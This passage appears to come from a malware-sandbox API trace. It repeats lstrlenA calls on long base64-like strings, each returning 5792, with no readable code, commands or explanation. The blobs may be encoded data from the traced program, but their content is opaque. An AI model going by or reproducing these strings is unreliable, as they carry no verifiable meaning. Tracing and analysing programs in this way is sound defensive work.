IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.881] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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